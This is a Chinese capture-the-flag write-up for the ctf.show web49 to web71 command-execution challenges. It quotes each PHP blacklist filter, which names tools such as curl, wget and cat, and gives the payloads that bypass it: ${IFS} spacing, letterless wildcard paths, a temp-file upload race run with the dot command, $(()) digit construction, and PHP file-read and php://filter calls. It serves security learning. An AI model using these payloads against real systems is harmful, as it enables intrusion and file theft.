命令执行


web49

  • 描述: 命令执行,需要严格的过滤

这又是什么power了?

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}

payload:

?c=tac<fla\g.php||

web50

  • 描述: 同上

\x09是tab键, \x26是&

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}

payload

?c=tac<fla\g.php||

不是哥们, 真就一把梭啊

web51

  • 描述: 同上

这下老实了,不给用\tac了, 那就换一个''nl, 然后查看源码

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}

payload

?c=nl<fla''g.php||

web52

  • 描述: 同上

现在<>也没了, 但是$限时回归,对它使用${IFS}

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}

抓到本目录文件下, 却发现flag不见了, 怎么一回事呢, 原来是去了根目录

?c=nl${IFS}fla''g.php||

payload

?c=nl${IFS}/fla''g||

web53

  • 描述: 同上

怎么把重定向去了?

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}

payload:

?c=nl${IFS}fla''g.php

web54

  • 描述: 同上

这又是哪里来的强者了!|.*f.*l.*a.*g.*|这种过滤就是字母不能按过滤的顺序出现

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

杜绝了字符拼接, 但是过滤似乎少了个通配符?, payload:

?c=/bin/?at${IFS}f???.php

至于为什么要加上/bin, 因为不是这/bin下似乎还有其他类似的命令, 执行不了cat

Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符

web55

  • 描述: 同上

返璞归真, 这下彻底是无字母了; 空格, .?限时回归

// 你们在炫技吗?
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

找到了三种方案:

  1. 我们可以通过post一个文件(文件里面的sh命令), 在上传的过程中, 通过.去执行执行这个文件(形成了条件竞争); 一般来说这个文件在linux下保存在/tmp/php??????, 一般后面的6个字符是随机生成的有大小写(可以通过linux的匹配符去匹配); 原文以及P神文章
  2. 利用/bin/目录下的base64进行通配符匹配, 获得flag.php文件的base64编码
  3. 利用/usr/bin/下的bzip2命令,先将flag.php文件进行压缩, 然后再将其下载

先从最简单的第二种和第三种开始:

第二种

?c=/???/????64 ????.???

只需要将所有字母换成通配符?即可, 得到的字符串进行base64解码就能得到flag, 伟大, 无需多言

image-20240705143515362

第三种

?c=/???/???/????2 ????.???

同理,然后访问/flag.php.bz2下载该文件

image-20240705143904045

需要注意的是, 压缩后似乎原文件没了, 如果到这里你还想复现下一个, 你得重启环境

第一种

前置知识:

  • Linux 中 .(点)命令, 或者叫period, 它的作用和 source 命令一样, 就是用当前的shell执行一个文件中的命令; 通过.去执行sh命令并不需要有执行权限
  • 只要是PHP网站都可以用上传的方式(默认行为)
  • ascii码表中, 大写字母位于@[之间, 所以[@-[]是为了匹配所有大写字母

首先本地创建一个html文件便于构造一个post上传文件的数据包

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

选择一个文件并上传后抓上传包, 然后进行修改

# 修改GET部分: 
?c=.+/???/????????[@-[]

# 修改包部分:
#!/bin/sh
ls

image-20240705154443371

至于为什么有时候没有回显, 因为正则匹配的是全大写字母,如果部分是小写字母会匹配不上

最后直接将ls修改为cat flag.php就可以拿到flag了

这种方法同样适用于PHP5的时候构造无字母(因为PHP5并不像PHP7支持($a)();这样的方法来执行动态函数, 也就是不支持取反异或等操作)

p神文章提及了glob通配符(问号也包括在内)的其他使用方法, 例如排除掉某一个位置的特性字符

web56

  • 描述: 同上

掌握了上述三种方法, 我相信你可以完成这题: 无数字无字母就只能用上题的第一种方法了

// 你们在炫技吗?
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

web57

  • 描述: 命令执行,需要严格的过滤,已测试,可绕

有时候我十分佩服出题人, 现在.都没了, 这下老实了?哦只需要构造36

// 还能炫的动吗?
//flag in 36.php
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}

第一种方法用的是$(())的运算, 至于其他类似括号

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

简单来说,$(()) 用来做数学运算, 其中$((${_}))=0, $((~$((${_}))))=-1, 所以我们是拼接出-37在进行取反

似乎js也有类似的东西, 不过构造的可以是命令, 比如输出个flag什么的

web58

  • 描述: 命令执行,突破禁用函数
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);

这不就POST嘛, 但是我错了, 他给我passthru(), system(),甚至是反引号都禁了

怎么办呢, 我用字典扫发现flag.php在本目录下, 只能看看有没有一些函数了, 你别说还真有

c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=highlight_file("flag.php");
c=show_source("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} #一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} #一行一个一个字符取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

还有伪协议也是可以的

c=include($_GET['url']);	# POST
/?url=php://filter/read=convert.base64-encode/resource=flag.php # GET
# 或者直接POST:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web59

  • 描述: 同上

改的是后台过滤, 不会写在前端, 前端同上一题,不写了

结果也没过滤多什么, 直接试试上一题的payload就可以了

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web60-65

  • 描述: 同上

解题方法也是同上, 看来是直接玩死了

web66-70

  • 描述: 懒得写

我还以为payload不能用了, 原来是flag换地方了(扫描器扫不到了), 现在在根目录而且叫做flag.txt

c=include('/flag.txt');
c=highlight_file('/flag.txt');

web71

  • 描述: 命令执行,突破禁用函数,求你们别秀了

似乎对缓冲区进行了一些运算, 显示出来的文件全都是乱码, 但是我们可以直接让后面的代码不执行:

c=include('/flag.txt');exit(0);

或者进行一次反向操作得到源代码

import requests

url = "http://c5ec61c2-5fd3-4973-8277-71d0522d966d.challenge.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content

for i in s:
print(chr(~i & 0xff), end='')